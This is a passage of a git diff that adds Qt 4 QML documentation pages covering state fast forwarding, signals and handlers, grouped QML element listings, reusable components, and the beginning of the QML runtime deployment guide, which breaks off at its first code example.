+The \l {declarative/animation/states}{States and Transitions example}
+demonstrates how to declare a basic set of states and apply animated
+transitions between them.
+
+\l{Using QML Behaviors with States} explains a common problem when using Behaviors
+to animate state changes.
+
+\section1 State Fast Forwarding
+
+In order for Transition to correctly animate state changes, it is sometimes necessary
+for the engine to fast forward and rewind a state (that is, internally set and unset the state)
+before it is finally applied. The process is as follows:
+
+\list 1
+\o The state is fast forwarded to determine the complete set of end values.
+\o The state is rewound.
+\o The state is fully applied, with transitions.
+\endlist
+
+In some cases this may cause unintended behavior. For example, a state that changes
+a view's \i model or a Loader's \i sourceComponent will set these properties
+multiple times (to apply, rewind, and then reapply), which can be relatively expensive.
+
+State fast forwarding should be considered an implementation detail,
+and may change in later versions.
+
+*/
diff --git a/doc/src/declarative/qmlevents.qdoc b/doc/src/declarative/qmlevents.qdoc
new file mode 100644
index 00000000..a9555df9
--- /dev/null
+++ b/doc/src/declarative/qmlevents.qdoc
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlevents.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Keyboard Focus in QML}{Keyboard Focus}
+\nextpage Importing Reusable Components
+
+\title QML Signal and Handler Event System
+
+QML utilizes Qt's \l{The Meta-Object System}{meta-object} and
+\l{Signals & Slots}{signals} systems. Signals and slots created using Qt in C++
+are inheritely valid in QML.
+
+\keyword qml-signals-and-handlers
+\section1 Signals and Handlers
+
+Signals provide a way to notify other objects when an event has occurred. For
+example, the MouseArea \c clicked signal notifies other objects that the mouse
+has been clicked within the area.
+
+The syntax for defining a new signal is:
+
+\tt{signal <name>[([<type> <parameter name>[, ...]])]}
+
+Attempting to declare two signals or methods with the same name in the same type
+block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.)
+
+Here are various examples of signal declarations:
+\snippet doc/src/snippets/declarative/events.qml parent begin
+\snippet doc/src/snippets/declarative/events.qml signal declaration
+\snippet doc/src/snippets/declarative/events.qml parent end
+
+If the signal has no parameters, the "\c{()}" brackets are optional. If
+parameters are used, the parameter types must be declared, as for the \c string
+and \c variant arguments of the \c perform signal.
+
+Adding a signal to an item automatically adds a \e{signal handler} as well. The
+signal hander is named \c on<SignalName>, with the first letter of the signal in
+uppercase. The previous signals have the following signal handlers:
+\snippet doc/src/snippets/declarative/events.qml signal handler declaration
+
+Further, each QML properties have a \c{<property_name>Changed} signal and its
+corresponding \c{on<property_name>Changed} signal handler. As a result, property
+changes may notify other components for any changes.
+\snippet doc/src/snippets/declarative/events.qml automatic signals
+
+To emit a signal, invoke it as a method. The signal handler binding is similar
+to a property binding and it is invoked when the signal is emitted. Use the
+defined argument names to access the respective arguments.
+\snippet doc/src/snippets/declarative/events.qml signal emit
+Note that the \c Component.onCompleted is an
+\l{attached-signalhandlers}{attached signal handler}; it is invoked when the
+\l Component initialization is complete.
+
+\keyword qml-connect-signals-to-method
+\section2 Connecting Signals to Methods and Signals
+
+Signal objects have a \c connect() method to a connect a signal either to a
+method or another signal. When a signal is connected to a method, the method is
+automatically invoked whenever the signal is emitted. (In Qt terminology, the
+method is a \e slot that is connected to the \e signal; all methods defined in
+QML are created as \l{Signals & Slots}{Qt slots}.) This enables a signal
+to be received by a method instead of a \l {Signal Handlers}{signal handler}.
+
+\snippet doc/src/snippets/declarative/events.qml connect method
+The \c {connect()} method is appropriate when connecting a JavaScript method to
+a signal.
+
+There is a corresponding \c disconnect() method for removing connected
+signals.
+
+\section3 Signal to Signal Connect
+
+By connecting signals to other signals, the \c connect() method can form different
+signal chains.
+\snippet doc/src/snippets/declarative/events.qml forward signal
+
+
+Whenever the \l MouseArea \c clicked signal is emitted, the \c send
+signal will automatically be emitted as well.
+
+\code
+output:
+ MouseArea clicked
+ Send clicked
+\endcode
+
+\section1 C++ Additions
+
+Because QML uses Qt, a signal defined in C++ also works as a QML signal. The
+signal may be emitted in QML code or called as a method. In addition, the QML
+runtime automatically creates signal handlers for the C++ signals. For more
+signal control, the \c connect() method and the \l Connections element may connect
+a C++ signal to another signal or method.
+
+For complete information on how to call C++ functions in QML, read the
+\l{Extending QML - Signal Support Example}.
+
+
+*/
diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc
new file mode 100644
index 00000000..c17d6448
--- /dev/null
+++ b/doc/src/declarative/qmlinuse.qdoc
@@ -0,0 +1,499 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlinuse.html
+\title Using QML elements
+
+\raw HTML
+ <div class="item group">
+ <div class="secondaryx">
+ <div class="toc">
+ <h3>
+ <a name="toc">QML Elements</a></h3>
+ <ul>
+ <li class="level1"><a href="#basicElements">Basic QML Elements</a></li>
+ <li class="level1"><a href="#visualElements">QML Visual Elements</a></li>
+ <li class="level1"><a href="#AnimAndTrans">QML Animation and Transition Elements</a></li>
+ <li class="level1"><a href="#interactElement">Basic QML Interaction Elements</a></li>
+ <li class="level1"><a href="#eventElements">QML Event Elements</a></li>
+ <li class="level1"><a href="#Position">QML Positioning Elements</a></li>
+ <li class="level1"><a href="#stateElement">QML State Elements</a></li>
+ <li class="level1"><a href="#transformElement">QML Transform Elements</a></li>
+ <li class="level1"><a href="#utilityElement">QML Utility Elements</a></li>
+ <li class="level1"><a href="#modelView">Models and View Elements</a></li>
+ <li class="level1"><a href="#paths">Paths</a></li>
+ <li class="level1"><a href="#ParticleElement">Particle Elements</a></li>
+ <li class="level1"><a href="#bridge">Bridge Elements</a></li>
+ </ul>
+ </div>
+ </div>
+ <div class="primary">
+ <h1>
+ Groups Of Related QML Elements</h1>
+ <p>
+ QML Elements are grouped by their respective functionalities. Certain elements are
+ suited for building complex components while other elements strictly dictate appearances
+ and color.</p>
+ <div class="cols two group unclear">
+ <div class="col first">
+ <p>
+ <i>add something about elements in use in general</i></p>
+ </div>
+ <div class="col">
+ <img src="images/quick_screens.png" />
+ </div>
+ </div>
+ </div>
+ </div>
+ <!-- tech domains start -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="basicElements"> Basic QML Elements</a></h2>
+ <p>
+ Basic elements can be extended to form more complex elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-item.html">Item Element</a>
+ - The Item is the most basic of all visual items in QML. Many visual elements inherit
+ properties from the Item element.</li>
+ <li><a href="qml-component.html">Component Element</a>
+ - The Component element encapsulates a QML component definition.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="visualElements">QML Visual Elements</a></h2>
+ <p>
+ Visual elements offer various interactive and graphical functionalities. Visual
+ elements can directly set properties that dictate appearances.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-borderimage.html">BorderImage
+ Element</a> - The BorderImage element provides an image that can be used as a border.</li>
+ <li><a href="qml-gradient.html">Gradient Element</a>
+ - The Gradient item defines a gradient fill.</li>
+ <li><a href="qml-gradientstop.html">GradientStop
+ Element</a> - The GradientStop item defines the color at a position in a Gradient.</li>
+ <li><a href="qml-image.html">Image Element</a>
+ - The Image element displays an image from a source.</li>
+ <li><a href="qml-rectangle.html">Rectangle Element</a>
+ - The Rectangle item provides a filled rectangle.</li>
+ <li><a href="qml-text.html">Text Element</a>
+ - The Text item allows the addition of formatted text to a scene.</li>
+ <li><a href="qml-textedit.html">TextEdit Element</a>
+ - The TextEdit item displays multiple lines of editable formatted text.</li>
+ <li><a href="qml-textinput.html">TextInput Element</a>
+ - The TextInput item displays an editable line of text.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="AnimAndTrans">QML Animation and Transition Elements</a></h2>
+ <p>
+ Animation and transition elements control animation behaviors. Animations can run
+ in parallel or in series for different value types.
+ </p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-anchoranimation.html">AnchorAnimation Element</a> -
+ The AnchorAnimation element animates changes in anchor values.</li>
+ <li><a href="qml-animation.html">Animation Element</a> - The Animation
+ element is the base of all QML animations.</li>
+ <li><a href="qml-behavior.html">Behavior Element</a> - The Behavior element allows you to specify a default animation for a property change.</li>
+ <li><a href="qml-coloranimation.html">ColorAnimation Element</a> - The ColorAnimation element animates changes in color values.</li>
+ <li><a href="qml-numberanimation.html">NumberAnimation Element</a> - The NumberAnimation element animates changes in qreal-type values.</li>
+ <li><a href="qml-parallelanimation.html">ParallelAnimation Element</a> - The ParallelAnimation element allows animations to be run in parallel.</li>
+ <li><a href="qml-parentanimation.html">ParentAnimation Element</a> - The ParentAnimation element animates changes in parent values.</li>
+ <li><a href="qml-pauseanimation.html">PauseAnimation Element</a> - The PauseAnimation element provides a pause during an animation.</li>
+ <li><a href="qml-propertyaction.html">PropertyAction Element</a> - The PropertyAction element allows immediate property changes during animation.</li>
+ <li><a href="qml-propertyanimation.html">PropertyAnimation Element</a> - The PropertyAnimation element animates changes in property values.</li>
+ <li><a href="qml-rotationanimation.html">RotationAnimation Element</a> - The RotationAnimation element animates changes in rotational values.</li>
+ <li><a href="qml-scriptaction.html">ScriptAction Element</a> - The ScriptAction element allows scripts to be run during an animation.</li>
+ <li><a href="qml-sequentialanimation.html">SequentialAnimation Element</a> - The SequentialAnimation element allows animations to be run sequentially.</li>
+ <li><a href="qml-smoothedanimation.html">SmoothedAnimation Element</a> - The SmoothedAnimation element allows a property to smoothly track a value.</li>
+ <li><a href="qml-springanimation.html">SpringAnimation Element</a> - The SpringAnimation element allows a property to track a value in a spring-like
+ motion.</li>
+ <li><a href="qml-transition.html">Transition Element</a> - The Transition element defines animated transitions that occur on state changes.</li>
+ <li><a href="qml-vector3danimation.html">Vector3dAnimation Element</a> - The Vector3dAnimation element animates changes in QVector3d values.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="interactElement">QML Interaction Elements</a></h2>
+ <p>
+ These elements define basic interactions such as touch movements and focus management.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-flickable.html">Flickable Element</a> - The Flickable item provides a surface that can be "flicked".</li>
+ <li><a href="qml-flipable.html">Flipable Element</a> - The Flipable item provides a surface that can be flipped or reflected.</li>
+ <li><a href="qml-focuspanel.html">FocusPanel Element</a> - The FocusPanel item explicitly creates a focus panel.</li>
+ <li><a href="qml-focusscope.html">FocusScope Element</a> - The FocusScope object explicitly creates a focus scope for focus management.</li>
+ <li><a href="qml-pincharea.html">PinchArea Element</a> - The PinchArea item enables simple pinch gesture handling.</li>
+ <li><a href="qml-keynavigation.html">KeyNavigation Element</a> - The KeyNavigation attached property supports key navigation by arrow keys.</li>
+ <li><a href="qml-keys.html">Keys Element</a> - The Keys attached property provides key handling to Items.</li>
+ <li><a href="qml-mousearea.html">MouseArea Element</a> - The MouseArea item enables simple mouse handling.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="eventElements">QML Event Elements</a></h2>
+ <p>
+ Key and mouse events information are provided in these event elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-keyevent.html">KeyEvent Element</a> - The KeyEvent
+ object provides information about a key event.</li>
+ <li><a href="qml-mouseevent.html">MouseEvent Element</a> - The MouseEvent
+ object provides information about a mouse event.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="Position">QML Positioning Elements</a></h2>
+ <p>
+ Using positioning elements, layouts can be defined and their children accessed through
+ an index.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-column.html">Column Element</a> - The Column
+ item arranges its children vertically.</li>
+ <li><a href="qml-flow.html">Flow Element</a> - The Flow item
+ arranges its children side by side, wrapping as necessary.</li>
+ <li><a href="qml-grid.html">Grid Element</a> - The Grid item
+ positions its children in a grid.</li>
+ <li><a href="qml-row.html">Row Element</a> - The Row item
+ arranges its children horizontally.</li>
+ <li><a href="qml-repeater.html">Repeater Element</a> - The Repeater element allows you to repeat an Item-based component using a model.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+
+ <h2><a name="stateElement">QML State Elements</a></h2>
+ <p>
+ States and groups of states are formed using state elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-anchorchanges.html">AnchorChanges Element</a> - The AnchorChanges element allows you to change the anchors of an item in a state.</li>
+ <li><a href="qml-parentchange.html">ParentChange Element</a> - The ParentChange element allows you to reparent an Item in a state change.</li>
+ <li><a href="qml-propertychanges.html">PropertyChanges Element</a> - The PropertyChanges element describes new property bindings or values for a state.</li>
+ <li><a href="qml-state.html">State Element</a> - The State
+ element defines configurations of objects and properties.</li>
+ <li><a href="qml-statechangescript.html">StateChangeScript Element</a> - The StateChangeScript element allows you to run a script in a state.</li>
+ <li><a href="qml-stategroup.html">StateGroup Element</a> - The StateGroup element provides state support for non-Item elements.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="transformElement">QML Transform Elements</a></h2>
+ <p>
+ Advanced handling of transformations is controlled in transform elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-rotation.html">Rotation Element</a> - The Rotation object provides a way to rotate an Item.</li>
+ <li><a href="qml-scale.html">Scale Element</a> - The Scale element provides a way to scale an Item.</li>
+ <li><a href="qml-transform.html">Transform Element</a> - The Transform element provide a way of building advanced transformations on Items.</li>
+ <li><a href="qml-translate.html">Translate Element</a> - The Translate object provides a way to move an Item without changing its x or y properties.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="utilityElement">QML Utility Elements</a></h2>
+ <p>
+ These elements handle assorted operations such as event timing, Qt enumerations,
+ and font loading.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-binding.html">Binding Element</a> - The Binding element allows arbitrary property bindings to be created.</li>
+ <li><a href="qml-connections.html">Connections Element</a> - A Connections element describes generalized connections to signals.</li>
+ <li><a href="qml-doublevalidator.html">DoubleValidator Element</a> - Provides a validator for non-integer numbers.</li>
+ <li><a href="qml-fontloader.html">FontLoader Element</a> - The FontLoader element allows fonts to be loaded by name or URL.</li>
+ <li><a href="qml-intvalidator.html">IntValidator Element</a> - This element provides a validator for integer values.</li>
+ <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li>
+ <li><a href="qml-loader.html">Loader Element</a> - The Loader item allows dynamically loading an Item-based subtree from a URL or Component.</li>
+ <li><a href="qml-package.html">Package Element</a> - Package provides a bundle for shared contexts in multiple views.</li>
+ <li><a href="qml-qt.html">Qt Element</a> - The QML global Qt object provides useful enums and functions from Qt.</li>
+ <li><a href="qml-qtobject.html">QtObject Element</a> - The QtObject element is the most basic element in QML.</li>
+ <li><a href="qml-regexpvalidator.html">RegExpValidator Element</a> - This element provides a validator for regular expressions.</li>
+ <li><a href="qml-systempalette.html">SystemPalette Element</a> - The SystemPalette element provides access to the Qt palettes.</li>
+ <li><a href="qml-timer.html">Timer Element</a> - The Timer item triggers a handler at a specified interval.</li>
+ <li><a href="qml-workerscript.html">WorkerScript Element</a> - The WorkerScript element enables the use of threads in QML.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="modelView">Models and View Elements</a></h2>
+ <p>
+ Models and views are used to organize data and control their layouts using delegates.
+ Models dictate the data formation and views control the layouts of data in the model.</p>
+ <b>View Elements:</b>
+ <ul>
+ <li><a href="qml-gridview.html">GridView Element</a> - The GridView item provides a grid view of items provided by a model.</li>
+ <li><a href="qml-listview.html">ListView Element</a> - The ListView item provides a list view of items provided by a model.</li>
+ <li><a href="qml-pathview.html">PathView Element</a> - The PathView element lays out model-provided items on a path.</li>
+ <li><a href="qml-webview.html">WebView Element</a> - The WebView item allows you to add Web content to a canvas.</li>
+ </ul>
+ <b>Model Elements:</b>
+ <ul>
+ <li><a href="qml-folderlistmodel.html">FolderListModel Element</a> - The FolderListModel provides a model of the contents of a file system folder.</li>
+ <li><a href="qml-listelement.html">ListElement Element</a> - A ListElement defines a data item in a ListModel.</li>
+ <li><a href="qml-listmodel.html">ListModel Element</a> - The ListModel element defines a free-form list data source.</li>
+ <li><a href="qml-visualdatamodel.html">VisualDataModel Element</a> - The VisualDataModel encapsulates a model and delegate.</li>
+ <li><a href="qml-visualitemmodel.html">VisualItemModel Element</a> - The VisualItemModel allows items to be provided to a view.</li>
+ <li><a href="qml-xmllistmodel.html">XmlListModel Element</a> - The XmlListModel element is used to specify a model using XPath expressions.</li>
+ <li><a href="qml-xmlrole.html">XmlRole Element</a> - The XmlRole element allows you to specify a role for an XmlListModel.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="paths">Paths</a></h2>
+ <p>
+ QML components can be arranged along paths. Path elements allow control over different
+ path types.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-path.html">Path Element</a> - A Path object defines a path for use by PathView.</li>
+ <li><a href="qml-pathattribute.html">PathAttribute Element</a> - The PathAttribute allows setting an attribute at a given position in a Path.</li>
+ <li><a href="qml-pathcubic.html">PathCubic Element</a> - The PathCubic defines a cubic Bezier curve with two control points.</li>
+ <li><a href="qml-pathelement.html">PathElement Element</a> - PathElement is the base path type.</li>
+ <li><a href="qml-pathline.html">PathLine Element</a> - The PathLine defines a straight line.</li>
+ <li><a href="qml-pathpercent.html">PathPercent Element</a> - The PathPercent manipulates the way a path is interpreted.</li>
+ <li><a href="qml-pathquad.html">PathQuad Element</a> - The PathQuad defines a quadratic Bezier curve with a control point.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="ParticleElement">Particle Elements</a></h2>
+ <p>
+ Particle effects are declared and controlled using particle elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-particlemotiongravity.html">ParticleMotionGravity Element</a> - The ParticleMotionGravity object moves particles towards a point.</li>
+ <li><a href="qml-particlemotionlinear.html">ParticleMotionLinear Element</a> - The ParticleMotionLinear object moves particles linearly.</li>
+ <li><a href="qml-particlemotionwander.html">ParticleMotionWander Element</a> - The ParticleMotionWander object moves particles in a somewhat random fashion.</li>
+ <li><a href="qml-particles.html">Particles Element</a> - The Particles object generates and moves particles.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="bridge">Bridge Elements</a></h2>
+ <p>
+ Bridge elements allow direct communication between C++ and QML entities.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li>
+ </ul>
+ </div>
+ </div>
+
+\endraw
+
+
+
+*/
+
diff --git a/doc/src/declarative/qmlreusablecomponents.qdoc b/doc/src/declarative/qmlreusablecomponents.qdoc
new file mode 100644
index 00000000..417395d6
--- /dev/null
+++ b/doc/src/declarative/qmlreusablecomponents.qdoc
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlreusablecomponents.html
+\ingroup qml-features
+\previouspage {QML Signal and Handler Event System}{Signal and Handler Event System}
+\nextpage {QML States}{States}
+\contentspage QML Features
+
+\title Importing Reusable Components
+
+A \e component is an instantiable QML definition, typically contained in a
+\c .qml file. For instance, a Button \e component may be defined in
+\c Button.qml. The QML runtime may instantiate this Button component to create
+Button \e objects. Alternatively, a component may be defined inside a
+\l Component element.
+
+Moreover, the Button definition may also contain other components. A Button
+component could use a Text element for its label and other components to
+implement its functions. Compounding components to form new components
+(and effectively new interfaces) is the emphasis in QML.
+
+\keyword qml-define-components
+\section1 Defining New Components
+
+Any snippet of QML code may become a component, by placing the code in a QML
+file (extension is \c .qml). A complete Button component that responds to user
+input may be in a Button.qml file.
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml document
+
+Alternatively, a \l Component element may encapsulate a QML object to form a
+component.
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent end
+
+\keyword qml-loading-components
+\section1 Loading a Component
+
+The initialization of inline components is different from loading a component
+from a \c .qml file.
+
+\section2 Importing a Component
+
+A component defined in a \c .qml file is directly usable by declaring the name
+of the component. For example, a button defined in \c Button.qml is created by
+declaring a \c Button. The button is defined in the
+\l {qml-define-components}{Defining New Components} section.
+\snippet doc/src/snippets/declarative/reusablecomponents/application.qml document
+
+Note that the component name, \c Button, matches the QML filename, \c Button.qml.
+Also, the first character is in upper case. Matching the names allow
+components in the same directory to be in the direct import path of the
+application.
+
+For flexibility, a \c qmldir file is for dictating which additional components,
+plugins, or directories should be imported. By using a \c qmldir file,
+component names do not need to match the filenames. The \c qmldir file should,
+however, be in an imported path.
+\snippet doc/src/snippets/declarative/reusablecomponents/qmldir document
+
+\section2 Loading an Inline Component
+
+A consequence of inline components is that initialization may be deferred or
+delayed. A component may be created during a MouseArea event or by using a
+\l Loader element. The component can create an object, which is addressable in a
+similar way as an \l {qml-id-property}{id property}. Thus, the created object may
+have its bindings set and read like a normal QML object.
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml create inline component
+
+\keyword qml-component-properties
+\section1 Component Properties
+
+Initializing a component, either from a .qml file or initializing an inline
+component, have several properties to facilitate component execution.
+Specifically, there are \l{attached-properties}{attached properties} and
+\l{attached-signalhandlers}{attached signal handlers} for setting properties
+during the lifetime of a component.
+
+The \c{Component.onCompleted} attached signal handler is called when the
+component completes initialization. It is useful for executing any commands
+after component initialization. Similarly, the \c{Component.onDestruction}
+signal handler executes when the component finishes destruction.
+
+\keyword qml-top-level
+\section1 Top-Level Component
+
+Choosing the \e{top-level} or the \e{root} object of components is an important
+design aspect because the top-level object dictates which properties are
+accessible outside the component. Some elements are not visual elements and
+will not have visual properties exposed outside the component. Likewise, some
+elements add functionality that are not available to visual elements.
+
+Consider the Button component from the
+\l{qml-define-components}{Defining New Components} section; it's top-level
+object is a \l Rectangle. When imported, the Button component will possess the
+Rectangle's properties, methods, signals, and any custom properties.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml properties
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end
+
+The Button's \c text alias is accessible from outside the component as well as
+the Rectangle's visual properties and signals such as \c x, \c y, \c anchors,
+and \c states.
+
+Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our
+top-level object. The \l FocusScope element manage keyboard focus for its
+children which is beneficial for certain types of interfaces. However, since
+\c FocusScopes are not visual elements, the visual properties of its child need
+to be exposed.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/focusbutton.qml document
+*/
+
diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc
new file mode 100644
index 00000000..ccc4880a
--- /dev/null
+++ b/doc/src/declarative/qmlruntime.qdoc
@@ -0,0 +1,144 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlruntime.html
+\title Qt Declarative UI Runtime
+
+QML documents are loaded and executed by the QML runtime. This includes the
+Declarative UI engine along with the built-in QML elements and plugin modules,
+and it also provides access to third-party QML elements and modules.
+
+Applications that use QML need to invoke the QML runtime in order to
+execute QML documents. This can be done by creating a QDeclarativeView
+or a QDeclarativeEngine, as described below. In addition, the Declarative UI
+package includes the \QQV tool, which loads \c .qml files. This tool is
+useful for developing and testing QML code without the need to write
+a C++ application to load the QML runtime.
+
+
+
+\section1 Deploying QML-based applications
+
+To deploy an application that uses QML, the QML runtime must be invoked by
+the application. This is done by writing a Qt C++ application that loads the
+QDeclarativeEngine by either:
+
+\list
+\o Loading the QML file through a QDeclarativeView instance, or
+\o Creating a QDeclarativeEngine instance and loading QML files with QDeclarativeComponent
+\endlist
+
+
+\section2 Deploying with QDeclarativeView
+
+QDeclarativeView is a QWidget-based class that is able to load QML files.
+For example, if there is a QML file, \c application.qml, like this:
+
+\qml
+ import QtQuick 1.0
+
